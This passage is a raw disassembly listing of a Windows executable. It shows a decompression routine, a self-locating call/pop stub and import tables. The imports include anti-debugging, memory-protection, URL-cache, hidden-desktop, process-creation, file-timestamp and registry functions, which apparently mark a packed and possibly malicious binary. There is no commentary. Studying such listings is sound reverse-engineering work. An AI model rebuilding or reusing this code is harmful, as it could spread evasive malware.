pop edi
pop esi
add eax, 2F5h
pop ebx
retn 4
sub_44A93D endp
; =============== S U B R O U T I N E =======================================
sub_44A9BB proc near ; CODE XREF: .text:0044A5A9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, ecx
mov ecx, [esp+arg_0]
push edi
mov [edx], eax
lea eax, [edx+4]
mov [eax], ecx
mov dword ptr [eax+4], 20h
mov [edx+10h], eax
mov [edx+0A0h], eax
mov [edx+130h], eax
mov [edx+1C0h], eax
xor eax, eax
mov ecx, 0BDh
mov [edx+250h], eax
mov [edx+254h], eax
mov [edx+258h], eax
mov edi, [edx+260h]
mov [edx+25Ch], eax
rep stosd
mov ecx, edx
stosb
call sub_44AA1C
pop edi
retn 8
sub_44A9BB endp
; =============== S U B R O U T I N E =======================================
sub_44AA1C proc near ; CODE XREF: sub_44A9BB+58p
; sub_44ABC0+267p
var_30C = byte ptr -30Ch
var_2F9 = byte ptr -2F9h
var_2F8 = byte ptr -2F8h
var_27 = byte ptr -27h
var_B = byte ptr -0Bh
sub esp, 30Ch
push ebx
mov ebx, ecx
push ebp
push esi
lea ebp, [ebx+4]
push edi
push 1
mov ecx, ebp
call sub_44A65D
test eax, eax
jnz short loc_44AA46
mov edi, [ebx+260h]
mov ecx, 0BDh
rep stosd
stosb
loc_44AA46: ; CODE XREF: sub_44AA1C+1Aj
xor esi, esi
loc_44AA48: ; CODE XREF: sub_44AA1C+3Dj
push 4
mov ecx, ebp
call sub_44A65D
mov [esp+esi+31Ch+var_30C], al
inc esi
cmp esi, 13h
jb short loc_44AA48
lea edi, [ebx+1C0h]
lea eax, [esp+31Ch+var_30C]
push eax
mov ecx, edi
call sub_44A6ED
test al, al
jnz short loc_44AA7C
pop edi
pop esi
pop ebp
pop ebx
add esp, 30Ch
retn
; ---------------------------------------------------------------------------
loc_44AA7C: ; CODE XREF: sub_44AA1C+53j
xor esi, esi
loc_44AA7E: ; CODE XREF: sub_44AA1C+E9j
mov ecx, edi
call sub_44A869
cmp eax, 10h
jnb short loc_44AA9F
mov ecx, [ebx+260h]
mov dl, [ecx+esi]
add dl, al
and dl, 0Fh
mov [esp+esi+31Ch+var_2F8], dl
inc esi
jmp short loc_44AAFF
; ---------------------------------------------------------------------------
loc_44AA9F: ; CODE XREF: sub_44AA1C+6Cj
jnz short loc_44AAC9
push 2
mov ecx, ebp
call sub_44A65D
add eax, 3
test eax, eax
jle short loc_44AAFF
loc_44AAB1: ; CODE XREF: sub_44AA1C+A9j
cmp esi, 2F5h
jge short loc_44AB0B
mov cl, [esp+esi+31Ch+var_2F9]
dec eax
mov [esp+esi+31Ch+var_2F8], cl
inc esi
test eax, eax
jg short loc_44AAB1
jmp short loc_44AAFF
; ---------------------------------------------------------------------------
loc_44AAC9: ; CODE XREF: sub_44AA1C:loc_44AA9Fj
cmp eax, 11h
jnz short loc_44AADC
push 3
mov ecx, ebp
call sub_44A65D
add eax, 3
jmp short loc_44AAE8
; ---------------------------------------------------------------------------
loc_44AADC: ; CODE XREF: sub_44AA1C+B0j
push 7
mov ecx, ebp
call sub_44A65D
add eax, 0Bh
loc_44AAE8: ; CODE XREF: sub_44AA1C+BEj
test eax, eax
jle short loc_44AAFF
loc_44AAEC: ; CODE XREF: sub_44AA1C+E1j
cmp esi, 2F5h
jge short loc_44AB0B
mov [esp+esi+31Ch+var_2F8], 0
inc esi
dec eax
test eax, eax
jg short loc_44AAEC
loc_44AAFF: ; CODE XREF: sub_44AA1C+81j
; sub_44AA1C+93j ...
cmp esi, 2F5h
jl loc_44AA7E
loc_44AB0B: ; CODE XREF: sub_44AA1C+9Bj
; sub_44AA1C+D6j
lea edx, [esp+31Ch+var_2F8]
lea ecx, [ebx+10h]
push edx
call sub_44A6ED
test al, al
jnz short loc_44AB27
pop edi
pop esi
pop ebp
pop ebx
add esp, 30Ch
retn
; ---------------------------------------------------------------------------
loc_44AB27: ; CODE XREF: sub_44AA1C+FEj
lea eax, [esp+31Ch+var_27]
lea ecx, [ebx+0A0h]
push eax
call sub_44A6ED
test al, al
jnz short loc_44AB49
pop edi
pop esi
pop ebp
pop ebx
add esp, 30Ch
retn
; ---------------------------------------------------------------------------
loc_44AB49: ; CODE XREF: sub_44AA1C+120j
lea ecx, [esp+31Ch+var_B]
push ecx
lea ecx, [ebx+130h]
call sub_44A6ED
test al, al
jnz short loc_44AB6B
pop edi
pop esi
pop ebp
pop ebx
add esp, 30Ch
retn
; ---------------------------------------------------------------------------
loc_44AB6B: ; CODE XREF: sub_44AA1C+142j
mov byte ptr [ebx+264h], 0
xor eax, eax
loc_44AB74: ; CODE XREF: sub_44AA1C+166j
cmp [esp+eax+31Ch+var_B], 3
jnz short loc_44AB86
inc eax
cmp eax, 8
jb short loc_44AB74
jmp short loc_44AB8D
; ---------------------------------------------------------------------------
loc_44AB86: ; CODE XREF: sub_44AA1C+160j
mov byte ptr [ebx+264h], 1
loc_44AB8D: ; CODE XREF: sub_44AA1C+168j
mov eax, [ebx+260h]
lea ecx, [esp+31Ch+var_2F8]
mov esi, 2F5h
loc_44AB9C: ; CODE XREF: sub_44AA1C+187j
mov dl, [ecx]
mov [eax], dl
inc eax
inc ecx
dec esi
jnz short loc_44AB9C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30Ch
retn
sub_44AA1C endp
; =============== S U B R O U T I N E =======================================
sub_44ABB2 proc near ; CODE XREF: sub_44A93D+12p
; sub_44ABC0+80p ...
call sub_44ABB8
nop
sub_44ABB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_44ABB8 proc near ; CODE XREF: sub_44ABB2p
pop esi
sub esi, 44455Bh
retn
sub_44ABB8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_44ABC0 proc near ; CODE XREF: .text:0044A5CCp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 14h
mov eax, [esp+14h+arg_4]
push ebx
push ebp
push esi
mov dword ptr [eax], 0
mov eax, [esp+20h+arg_0]
push edi
xor edi, edi
test eax, eax
mov esi, ecx
mov [esp+24h+var_14], edi
jbe loc_44AE40
loc_44ABE5: ; CODE XREF: sub_44ABC0+274j
lea ecx, [esi+10h]
call sub_44A869
cmp eax, 100h
jnb short loc_44AC07
mov ecx, [esi]
mov [ecx], al
mov ecx, [esi]
inc ecx
inc edi
mov [esi], ecx
mov [esp+24h+var_14], edi
jmp loc_44AE30
; ---------------------------------------------------------------------------
loc_44AC07: ; CODE XREF: sub_44ABC0+32j
cmp eax, 2D0h
jnb loc_44AE25
add eax, 0FFFFFF00h
mov ebp, eax
and eax, 7
shr ebp, 3
lea edx, [eax+2]
cmp eax, 7
mov [esp+24h+var_10], edx
jnz loc_44ACC3
lea ecx, [esi+0A0h]
call sub_44A869
mov ecx, [esi+8]
xor ebx, ebx
push esi
call sub_44ABB2
mov bl, [eax+esi+443FABh]
pop esi
cmp ecx, 8
jb short loc_44AC84
loc_44AC52: ; CODE XREF: sub_44ABC0+C2j
mov ecx, [esi+4]
mov dl, [ecx]
inc ecx
mov byte ptr [esp+24h+var_C], dl
mov [esi+4], ecx
mov ecx, [esi+0Ch]
mov edx, [esp+24h+var_C]
shl ecx, 8
and edx, 0FFh
or ecx, edx
mov edx, [esi+8]
add edx, 0FFFFFFF8h
mov [esi+0Ch], ecx
mov ecx, edx
mov [esi+8], edx
cmp ecx, 8
jnb short loc_44AC52
loc_44AC84: ; CODE XREF: sub_44ABC0+90j
mov edi, [esi+8]
mov edx, [esi+0Ch]
mov ecx, 8
sub ecx, edi
add edi, ebx
shr edx, cl
mov ecx, 18h
mov [esi+8], edi
sub ecx, ebx
and edx, 0FFFFFFh
shr edx, cl
xor ecx, ecx
push esi
call sub_44ABB2
mov cl, [eax+esi+443F8Fh]
pop esi
mov eax, [esp+24h+var_10]
add ecx, edx
add eax, ecx
mov [esp+24h+var_10], eax
loc_44ACC3: ; CODE XREF: sub_44ABC0+69j
mov al, [esi+264h]
mov ebx, [esi+ebp*4+268h]
xor edx, edx
push esi
call sub_44ABB2
mov dl, [ebp+esi+443FC7h]
pop esi
test al, al
mov edi, edx
jz short loc_44AD5C
cmp edi, 3
jb short loc_44AD5C
mov eax, [esi+8]
lea ebp, [edi-3]
cmp eax, 8
jb short loc_44AD27
loc_44ACF6: ; CODE XREF: sub_44ABC0+165j
mov eax, [esi+4]
mov edx, [esi+0Ch]
shl edx, 8
mov cl, [eax]
inc eax
mov byte ptr [esp+24h+var_8], cl
mov ecx, [esi+8]
mov [esi+4], eax
mov eax, [esp+24h+var_8]
and eax, 0FFh
add ecx, 0FFFFFFF8h
or edx, eax
mov eax, ecx
cmp eax, 8
mov [esi+0Ch], edx
mov [esi+8], ecx
jnb short loc_44ACF6
loc_44AD27: ; CODE XREF: sub_44ABC0+134j
mov eax, [esi+8]
mov edi, [esi+0Ch]
mov ecx, 8
sub ecx, eax
add eax, ebp
shr edi, cl
mov ecx, 18h
mov [esi+8], eax
sub ecx, ebp
and edi, 0FFFFFFh
shr edi, cl
lea ecx, [esi+130h]
call sub_44A869
add eax, ebx
lea ebx, [eax+edi*8]
jmp short loc_44ADB7
; ---------------------------------------------------------------------------
loc_44AD5C: ; CODE XREF: sub_44ABC0+124j
; sub_44ABC0+129j
cmp dword ptr [esi+8], 8
jb short loc_44AD93
loc_44AD62: ; CODE XREF: sub_44ABC0+1D1j
mov eax, [esi+4]
mov edx, [esi+0Ch]
shl edx, 8
mov cl, [eax]
inc eax
mov byte ptr [esp+24h+var_4], cl
mov ecx, [esi+8]
mov [esi+4], eax
mov eax, [esp+24h+var_4]
and eax, 0FFh
add ecx, 0FFFFFFF8h
or edx, eax
mov eax, ecx
cmp eax, 8
mov [esi+0Ch], edx
mov [esi+8], ecx
jnb short loc_44AD62
loc_44AD93: ; CODE XREF: sub_44ABC0+1A0j
mov edx, [esi+8]
mov eax, [esi+0Ch]
mov ecx, 8
sub ecx, edx
add edx, edi
shr eax, cl
mov ecx, 18h
mov [esi+8], edx
sub ecx, edi
and eax, 0FFFFFFh
shr eax, cl
add ebx, eax
loc_44ADB7: ; CODE XREF: sub_44ABC0+19Aj
cmp ebx, 3
jnb short loc_44ADD6
mov ecx, [esi+ebx*4+250h]
test ebx, ebx
jz short loc_44ADF7
mov edx, [esi+250h]
mov [esi+ebx*4+250h], edx
jmp short loc_44ADF1
; ---------------------------------------------------------------------------
loc_44ADD6: ; CODE XREF: sub_44ABC0+1FAj
mov eax, [esi+254h]
mov edx, [esi+250h]
lea ecx, [ebx-3]
mov [esi+258h], eax
mov [esi+254h], edx
loc_44ADF1: ; CODE XREF: sub_44ABC0+214j
mov [esi+250h], ecx
loc_44ADF7: ; CODE XREF: sub_44ABC0+205j
mov eax, [esi]
mov edi, [esp+24h+var_10]
inc ecx
lea edx, [eax+edi]
cmp eax, edx
mov [esi], edx
jnb short loc_44AE17
loc_44AE07: ; CODE XREF: sub_44ABC0+255j
mov edx, eax
sub edx, ecx
inc eax
mov dl, [edx]
mov [eax-1], dl
mov edx, [esi]
cmp eax, edx
jb short loc_44AE07
loc_44AE17: ; CODE XREF: sub_44ABC0+245j
mov eax, [esp+24h+var_14]
add eax, edi
mov [esp+24h+var_14], eax
mov edi, eax
jmp short loc_44AE30
; ---------------------------------------------------------------------------
loc_44AE25: ; CODE XREF: sub_44ABC0+4Cj
mov ecx, esi
call sub_44AA1C
test al, al
jz short loc_44AE4C
loc_44AE30: ; CODE XREF: sub_44ABC0+42j
; sub_44ABC0+263j
cmp edi, [esp+24h+arg_0]
jb loc_44ABE5
mov eax, [esp+24h+arg_4]
mov [eax], edi
loc_44AE40: ; CODE XREF: sub_44ABC0+1Fj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 14h
retn 8
; ---------------------------------------------------------------------------
loc_44AE4C: ; CODE XREF: sub_44ABC0+26Ej
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 14h
retn 8
sub_44ABC0 endp
; ---------------------------------------------------------------------------
dd 0
dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h, 6C6C642Eh
dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
dd 69784500h, 6F725074h, 73736563h, 0
dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h
dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h
dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h
dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h
dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h
dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h
dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh
dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch
dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h
dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80AC28h
dd 7C80B529h, 7C801D77h, 0
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 4AF80h, 4AF70h, 3 dup(0)
dd 4B074h, 4B0C4h, 3 dup(0)
dd 4B081h, 4B0CCh, 3 dup(0)
dd 4B08Dh, 4B0D4h, 3 dup(0)
dd 4B097h, 4B0DCh, 3 dup(0)
dd 4B0A2h, 4B0E4h, 3 dup(0)
dd 4B0ACh, 4B0ECh, 3 dup(0)
dd 4B0B9h, 4B0F4h, 5 dup(0)
dd 61656C6Fh, 32337475h, 6C6C642Eh, 6E697700h, 74656E69h
dd 6C6C642Eh, 656C6F00h, 642E3233h, 75006C6Ch, 33726573h
dd 6C642E32h, 6467006Ch, 2E323369h, 6C6C64h, 61766461h
dd 32336970h, 6C6C642Eh, 74726300h, 2E6C6C64h, 6C6C64h
dd 77124BC2h, 0
dd 771B6E85h, 0
dd 77526009h, 0
dd 77D4E34Bh, 0
dd 77F15FF1h, 0
dd 77DD7753h, 0
; ---------------------------------------------------------------------------
jmp short loc_44B165
; ---------------------------------------------------------------------------
dw 73D9h
dd 0
db 0
align 2
aSysallocstring db 'SysAllocString',0
db 2 dup(0), 46h
aIndfirsturlcac db 'indFirstUrlCacheEntryA',0
align 4
dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 6C6C6143h
dd 646E6957h, 7250776Fh, 41636Fh, 65470000h, 6F745374h
dd 624F6B63h, 7463656Ah, 4F000000h, 506E6570h
db 72h
; ---------------------------------------------------------------------------
loc_44B165: ; CODE XREF: .text:0044B0F4j
outsd
arpl [ebp+73h], sp
jnb short near ptr byte_44B1BF
outsd
imul esp, [ebp+6Eh], 0
; ---------------------------------------------------------------------------
dd 695F0000h, 616F74h, 11h dup(0)
db 3 dup(0)
byte_44B1BF db 0 ; CODE XREF: .text:0044B169j
dd 10h dup(0)
dd 780h dup(?)
_text ends
; Section 2. (virtual address 0004D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0004A600
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_idata segment para public 'CODE' use32
assume cs:_idata
;org 44D000h
assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
dd 4D0B4h, 2 dup(0)
db 0CCh
db 0D2h, 4, 0
dd 48340h, 4D0BCh, 2 dup(0)
dd 4D2ECh, 4834Ch, 4D0C8h, 2 dup(0)
dd 4D32Ch, 4835Ch, 4D0DCh, 2 dup(0)
dd 4D37Eh, 48374h, 4D1B8h, 2 dup(0)
dd 4D710h, 48454h, 4D230h, 2 dup(0)
dd 4D8F4h, 484D0h, 4D248h, 2 dup(0)
dd 4D952h, 484ECh, 4D280h, 2 dup(0)
dd 4DA64h, 48528h, 5 dup(0)
dd 4D2DAh, 0
dd 4D2F8h, 4D312h, 0
dd 4D336h, 4D34Ah, 4D35Ch, 4D36Ch, 0
dd 4D38Ch, 4D39Ah, 4D3A8h, 4D3C4h, 4D3D6h, 4D3ECh, 4D402h
dd 4D410h, 4D41Eh, 4D42Eh, 4D444h, 4D458h, 4D46Ah, 4D47Ch
dd 4D492h, 4D4A0h, 4D4B0h, 4D4C0h, 4D4CEh, 4D4DEh, 4D4F6h
dd 4D50Eh, 4D520h, 4D534h, 4D546h, 4D55Ch, 4D574h, 4D584h
dd 4D594h, 4D5A8h, 4D5B8h, 4D5C4h, 4D5D2h, 4D5DEh, 4D5ECh
dd 4D5FAh, 4D606h, 4D612h, 4D622h, 4D630h, 4D642h, 4D650h
dd 4D658h, 4D66Ch, 4D67Ch, 4D68Ah, 4D69Ah, 4D6B0h, 4D6BAh
dd 4D6C6h, 4D6D6h, 4D6E2h, 4D6EEh, 4D700h, 0
dd 4D71Ch, 4D72Eh, 4D740h, 4D750h, 4D75Eh, 4D76Ah, 4D77Ah
dd 4D786h, 4D79Ch, 4D7AAh, 4D7B6h, 4D7C2h, 4D7D0h, 4D7DEh
dd 4D7F0h, 4D802h, 4D814h, 4D828h, 4D83Ch, 4D850h, 4D864h
dd 4D870h, 4D880h, 4D892h, 4D8A4h, 4D8B2h, 4D8C4h, 4D8D4h
dd 4D8E2h, 0
dd 4D8FEh, 4D910h, 4D91Eh, 4D92Eh, 4D944h, 0
dd 4D960h, 4D974h, 4D98Ah, 4D99Ch, 4D9AAh, 4D9BAh, 4D9CEh
dd 4D9E0h, 4D9F2h, 4DA04h, 4DA18h, 4DA34h, 4DA4Ah, 0
dd 4DA70h, 4DA78h, 4DA88h, 4DA92h, 4DA9Eh, 4DAA4h, 4DAACh
dd 4DAB6h, 4DAC0h, 4DACAh, 4DAD2h, 4DADAh, 4DAE4h, 4DAEEh
dd 4DAF6h, 4DB00h, 4DB0Ah, 4DB14h, 0
dd 61656C6Fh, 32337475h, 6C6C642Eh, 0
aSysallocstri_0 db 'SysAllocString',0
align 4
aWininet_dll db 'wininet.dll',0
dd 69460000h, 6946646Eh, 55747372h, 61436C72h, 45656863h
dd 7972746Eh, 41h, 646E6946h, 7478654Eh, 436C7255h, 65686361h
dd 72746E45h, 4179h, 33656C6Fh, 6C642E32h, 6Ch, 72436F43h
dd 65746165h, 74736E49h, 65636E61h, 0
aClsidfromstrin db 'CLSIDFromString',0
dd 6F430000h, 74696E49h, 696C6169h, 657Ah, 6F430000h, 6E696E55h
dd 61697469h, 657A696Ch, 656B0000h, 6C656E72h, 642E3233h
dd 6C6Ch, 65440000h, 6574656Ch, 656C6946h, 41h, 74697845h
dd 636F7250h, 737365h, 78450000h, 646E6170h, 69766E45h
dd 6D6E6F72h, 53746E65h, 6E697274h, 417367h, 65470000h
dd 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 43746547h, 65727275h
dd 7250746Eh, 7365636Fh, 644973h, 65470000h, 72754374h
dd 746E6572h, 65726854h, 64496461h, 0
aGetfilesize db 'GetFileSize',0
dd 65470000h, 6C694674h, 6D695465h, 65h, 4C746547h, 45747361h
dd 726F7272h, 0
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h
dd 6F725074h, 64644163h, 73736572h, 0
aGetprocessheap db 'GetProcessHeap',0
align 4
dd 65470000h, 73795374h, 446D6574h, 63657269h, 79726F74h
dd 41h, 736F6C43h, 6E614865h, 656C64h, 65470000h, 6D655474h
dd 74615070h, 4168h, 65470000h, 63695474h, 756F436Bh, 746Eh
dd 65470000h, 72655674h, 6E6F6973h, 0
aGetversionexa db 'GetVersionExA',0
align 10h
aGetvolumeinfor db 'GetVolumeInformationA',0
align 4
aGetwindowsdire db 'GetWindowsDirectoryA',0
align 10h
aGlobaladdatoma db 'GlobalAddAtomA',0
align 10h
dd 6C470000h, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C470000h
dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 626F6C47h, 654D6C61h
dd 79726F6Dh, 74617453h, 7375h, 6E490000h, 6C726574h, 656B636Fh
dd 636E4964h, 656D6572h, 746Eh, 73490000h, 52646142h, 50646165h
dd 7274h, 73490000h, 57646142h, 65746972h, 727450h, 73490000h
dd 75626544h, 72656767h, 73657250h, 746E65h, 6F4C0000h
dd 694C6461h, 72617262h, 4179h, 6F430000h, 69467970h, 41656Ch
dd 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aLocalfree db 'LocalFree',0
align 10h
aOpenmutexa db 'OpenMutexA',0
align 4
dd 704F0000h, 72506E65h, 7365636Fh, 73h, 64616552h, 656C6946h
dd 0
aRtlunwind db 'RtlUnwind',0
align 4
aRtlzeromemory db 'RtlZeroMemory',0
align 4
aCreatefilea db 'CreateFileA',0
dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetfiletime db 'SetFileTime',0
dd 6C530000h, 706565h, 65540000h, 6E696D72h, 50657461h
dd 65636F72h, 7373h, 69560000h, 61757472h, 6C6C416Ch, 636Fh
dd 69560000h, 61757472h, 6572466Ch, 65h, 74726956h, 516C6175h
dd 79726575h, 0
aWidechartomult db 'WideCharToMultiByte',0
dd 69570000h, 6578456Eh, 63h, 74697257h, 6C694665h, 65h
dd 61657243h, 754D6574h, 41786574h, 0
aLstrlena db 'lstrlenA',0
align 4
aLstrlenw db 'lstrlenW',0
align 10h
aCreateprocessa db 'CreateProcessA',0
align 10h
dd 72430000h, 65746165h, 65726854h, 6461h, 72657375h, 642E3233h
dd 6C6Ch, 61430000h, 69576C6Ch, 776F646Eh, 636F7250h, 41h
dd 57746547h, 6F646E69h, 78655477h, 4174h, 65470000h, 6E695774h
dd 52776F64h, 746365h, 69460000h, 6957646Eh, 776F646Eh
dd 41h, 57746547h, 6F646E69h, 77h, 43746547h, 7373616Ch
dd 656D614Eh, 41h, 46746553h, 7375636Fh, 0
aGetforegroundw db 'GetForegroundWindow',0
dd 6F4C0000h, 75436461h, 726F7372h, 41h, 54746553h, 72656D69h
dd 0
aLoadicona db 'LoadIconA',0
align 4
aMessageboxa db 'MessageBoxA',0
dd 65470000h, 73654D74h, 65676173h, 41h, 57746547h, 6F646E69h
dd 6E6F4C77h, 4167h, 65530000h, 6E695774h, 4C776F64h, 41676E6Fh
dd 0
aCreatedesktopa db 'CreateDesktopA',0
align 4
dd 65530000h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470000h
dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540000h, 6C736E61h
dd 4D657461h, 61737365h, 6567h, 69440000h, 74617073h, 654D6863h
dd 67617373h, 4165h, 73770000h, 6E697270h, 416674h, 65530000h
dd 654D646Eh, 67617373h, 4165h, 65520000h, 74736967h, 6C437265h
dd 41737361h, 0
aPostquitmessag db 'PostQuitMessage',0
dd 68530000h, 6957776Fh, 776F646Eh, 0
aCreatewindowex db 'CreateWindowExA',0
dd 65440000h, 6F727473h, 6E695779h, 776F64h, 6F4D0000h
dd 69576576h, 776F646Eh, 0
aDefwindowproca db 'DefWindowProcA',0
align 4
aGdi32_dll db 'gdi32.dll',0
align 10h
aGetstockobject db 'GetStockObject',0
align 10h
dd 65530000h, 436B4274h, 726F6C6Fh, 0
aSettextcolor db 'SetTextColor',0
align 10h
aCreatebrushind db 'CreateBrushIndirect',0
dd 72430000h, 65746165h, 746E6F46h, 64610041h, 69706176h
dd 642E3233h, 6C6Ch, 704F0000h, 72506E65h, 7365636Fh, 6B6F5473h
dd 6E65h, 65470000h, 6B6F5474h, 6E496E65h, 6D726F66h, 6F697461h
dd 6Eh, 43676552h, 74616572h, 79654B65h, 417845h, 65520000h
dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa db 'RegSetValueExA',0
align 10h
dd 65470000h, 63655374h, 74697275h, 666E4979h, 6Fh, 53746553h
dd 72756365h, 49797469h, 6F666Eh, 65530000h, 746E4574h
dd 73656972h, 63416E49h, 416Ch, 65470000h, 64695374h, 6E656449h
dd 69666974h, 75417265h, 726F6874h, 797469h, 65470000h
dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
aGetsidsubautho db 'GetSidSubAuthorityCount',0
aCrtdll_dll db 'crtdll.dll',0
align 10h
dd 695F0000h, 616F74h, 5F5F0000h, 4D746547h, 416E6961h
dd 736772h, 735F0000h, 7065656Ch, 0
a_stricmp db '_stricmp',0
align 10h
aAbs db 'abs',0
dd 78650000h, 7469h, 656D0000h, 706D636Dh, 0
aMemcpy db 'memcpy',0
align 10h
dd 656D0000h, 7465736Dh, 0
aRaise db 'raise',0
align 4
aRand db 'rand',0
align 4
aSignal db 'signal',0
align 4
dd 70730000h, 746E6972h, 66h, 6E617273h, 64h, 61637373h
dd 666Eh, 74730000h, 74616372h, 0
aStrchr db 'strchr',0
align 4
dd 74730000h, 6D636E72h, 70h, 138h dup(0)
_idata ends
end start